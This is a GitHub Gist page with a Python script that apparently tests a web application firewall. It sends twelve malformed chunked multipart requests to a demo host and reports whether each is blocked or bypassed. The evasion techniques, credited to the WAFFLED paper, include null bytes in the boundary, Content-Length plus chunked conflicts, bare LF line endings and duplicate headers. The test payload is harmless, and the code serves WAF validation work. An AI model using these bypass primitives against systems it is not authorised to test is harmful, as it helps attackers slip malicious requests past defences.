Last active
July 28, 2025 12:15
-
-
Save Mikej81/e6bf3c769ed150ce2ab8ef99d64991d2 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import asyncio | |
| import ssl | |
| HOST = "domain-example.myedgedemo.com" | |
| PORT = 443 | |
| PATH = "/" | |
| PAYLOAD = b"12345" | |
| BLOCK_INDICATORS = [ | |
| b"request blocked", | |
| b"f5 distributed cloud", | |
| b"<title>request blocked</title>", | |
| b"incident id", | |
| b"the requested url was rejected", | |
| b"your support id is" | |
| ] | |
| labels = [ | |
| "Header Continuation with Tabs", | |
| "RFC2231 Header Parameter Reordering", | |
| "Null Byte in Multipart Boundary", | |
| "Parameter Value With Equals Sign", | |
| "UTF-8 Encoded Boundary Param", | |
| "Content-Length + Chunked Overlap", | |
| "Unmatched Multipart Boundary", | |
| "Malformed Header Syntax (double colon)", | |
| "Header Line Ending Confusion", | |
| "Redundant Content-Type Headers", | |
| "Extra CRLF after Final Boundary", | |
| "Unknown Charset in Content-Type" | |
| ] | |
| def build_chunked_requests(): | |
| base_header = ( | |
| f"POST {PATH} HTTP/1.1\r\n" | |
| f"Host: {HOST}\r\n" | |
| f"Transfer-Encoding: chunked\r\n" | |
| f"Content-Type: multipart/form-data; boundary=real\r\n" | |
| f"Connection: close\r\n\r\n" | |
| ) | |
| requests = [] | |
| # Evasion techniques adapted from the WAFFLED paper: | |
| # 1 | |
| body = ( | |
| b"--real\r\n" | |
| b"Content-Disposition:\tform-data;\tname=\"field\"\r\n\r\n" + | |
| PAYLOAD + b"\r\n--real--" | |
| ) | |
| requests.append((base_header.encode(), body)) | |
| # 2 | |
| body = ( | |
| b"--real\r\n" | |
| b"Content-Disposition: form-data; name*0=\"fie\";name*1=\"ld\"\r\n\r\n" + | |
| PAYLOAD + b"\r\n--real--" | |
| ) | |
| requests.append((base_header.encode(), body)) | |
| # 3 | |
| header = base_header.replace("real", "bo\x00undary") | |
| body = ( | |
| b"--bo\x00undary\r\n" | |
| b"Content-Disposition: form-data; name=\"field\"\r\n\r\n" + | |
| PAYLOAD + b"\r\n--bo\x00undary--" | |
| ) | |
| requests.append((header.encode(), body)) | |
| # 4 | |
| body = ( | |
| b"--real\r\n" | |
| b"Content-Disposition: form-data; name=\"a=b\"\r\n\r\n" + | |
| PAYLOAD + b"\r\n--real--" | |
| ) | |
| requests.append((base_header.encode(), body)) | |
| # 5 | |
| header = base_header.replace("boundary=real", "boundary*=utf-8''real") | |
| body = ( | |
| b"--real\r\n" | |
| b"Content-Disposition: form-data; name=\"field\"\r\n\r\n" + | |
| PAYLOAD + b"\r\n--real--" | |
| ) | |
| requests.append((header.encode(), body)) | |
| # 6 | |
| header = base_header.replace("Transfer-Encoding: chunked\r\n", "Transfer-Encoding: chunked\r\nContent-Length: 999\r\n") | |
| body = ( | |
| b"--real\r\n" | |
| b"Content-Disposition: form-data; name=\"field\"\r\n\r\n" + | |
| PAYLOAD + b"\r\n--real--" | |
| ) | |
| requests.append((header.encode(), body)) | |
| # 7 | |
| body = ( | |
| b"--real\r\n" | |
| b"Content-Disposition: form-data; name=\"field\"\r\n\r\n" + | |
| PAYLOAD # no closing boundary | |
| ) | |
| requests.append((base_header.encode(), body)) | |
| # 8 | |
| body = ( | |
| b"--real\r\n" | |
| b"Content-Disposition:: form-data; name=\"field\"\r\n\r\n" + | |
| PAYLOAD + b"\r\n--real--" | |
| ) | |
| requests.append((base_header.encode(), body)) | |
| # 9 | |
| header = base_header.replace("\r\n", "\n") | |
| body = ( | |
| b"--real\n" | |
| b"Content-Disposition: form-data; name=\"field\"\n\n" + | |
| PAYLOAD + b"\n--real--" | |
| ) | |
| requests.append((header.encode(), body)) | |
| # 10 | |
| body = ( | |
| b"--real\r\n" | |
| b"Content-Type: text/plain\r\n" | |
| b"Content-Type: text/html\r\n" | |
| b"Content-Disposition: form-data; name=\"field\"\r\n\r\n" + | |
| PAYLOAD + b"\r\n--real--" | |
| ) | |
| requests.append((base_header.encode(), body)) | |
| # 11 | |
| body = ( | |
| b"--real\r\n" | |
| b"Content-Disposition: form-data; name=\"field\"\r\n\r\n" + | |
| PAYLOAD + b"\r\n--real--\r\n\r\n" | |
| ) | |
| requests.append((base_header.encode(), body)) | |
| # 12 | |
| header = base_header.replace("multipart/form-data", "text/plain; charset=garbage") | |
| body = PAYLOAD | |
| requests.append((header.encode(), body)) | |
| return requests | |
| def chunked_encode(body: bytes) -> bytes: | |
| chunks = [] | |
| i = 0 | |
| while i < len(body): | |
| chunk = body[i:i+10] | |
| chunks.append(f"{len(chunk):X}\r\n".encode() + chunk + b"\r\n") | |
| i += 10 | |
| chunks.append(b"0\r\n\r\n") | |
| return b''.join(chunks) | |
| async def send_chunked(header: bytes, body: bytes): | |
| ssl_ctx = ssl.create_default_context() | |
| try: | |
| reader, writer = await asyncio.open_connection(HOST, PORT, ssl=ssl_ctx, server_hostname=HOST) | |
| writer.write(header + chunked_encode(body)) | |
| await writer.drain() | |
| resp = b"" | |
| while True: | |
| chunk = await reader.read(4096) | |
| if not chunk: | |
| break | |
| resp += chunk | |
| writer.close() | |
| await writer.wait_closed() | |
| status = resp.split(b"\r\n", 1)[0].decode(errors="ignore") | |
| blocked = any(sig in resp.lower() for sig in BLOCK_INDICATORS) | |
| preview = resp[:500].decode(errors="replace") | |
| return status, blocked, preview | |
| except Exception as e: | |
| return f"Error: {e}", False, "" | |
| async def main(): | |
| reqs = build_chunked_requests() | |
| tasks = [send_chunked(h, b) for h, b in reqs] | |
| results = await asyncio.gather(*tasks) | |
| for i, (status, blocked, preview) in enumerate(results, 1): | |
| print(f"\n--- Test #{i}: {labels[i - 1]} ---") | |
| print(f"Status: {status}") | |
| print("Blocked (WAF working)" if blocked else "Bypassed (WAFFLED evasion possible!)") | |
| if blocked: | |
| print("Response Preview:\n" + preview) | |
| if __name__ == "__main__": | |
| import sys | |
| if sys.platform == "win32": | |
| asyncio.set_event_loop_policy(asyncio.WindowsSelectorEventLoopPolicy()) | |
| asyncio.run(main()) |
Author
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Simulates WAFFLED evasion primitives that exploit HTTP parsing inconsistencies between WAFs and origin servers.
Tests include:
Header Continuation with Tabs
e.g., Content-Disposition:\tform-data; name="..."
RFC2231 Parameter Reordering
e.g., name0="fi"; name1="eld"
Null Byte in Multipart Boundary
e.g., boundary=bo\x00undary
Parameter Value with Equals Sign
e.g., name="a=b"
UTF-8 Encoded Boundary Attribute
e.g., boundary*=utf-8''real
Conflicting Content-Length + Chunked
e.g., sends both headers
Unmatched Multipart Boundary
e.g., missing final --boundary--
Malformed Header Syntax
e.g., Content-Disposition::
Non-standard Line Endings
e.g., \n instead of \r\n
Redundant Content-Type Headers
e.g., Content-Type: text/plain + text/html
Extra CRLF after Final Boundary
e.g., double CRLF after --boundary--
Unknown Charset in Content-Type
e.g., charset=garbage
Each request is chunked and analyzed for WAF block behavior. "Bypassed" indicates potential WAF parsing failure so validate in console.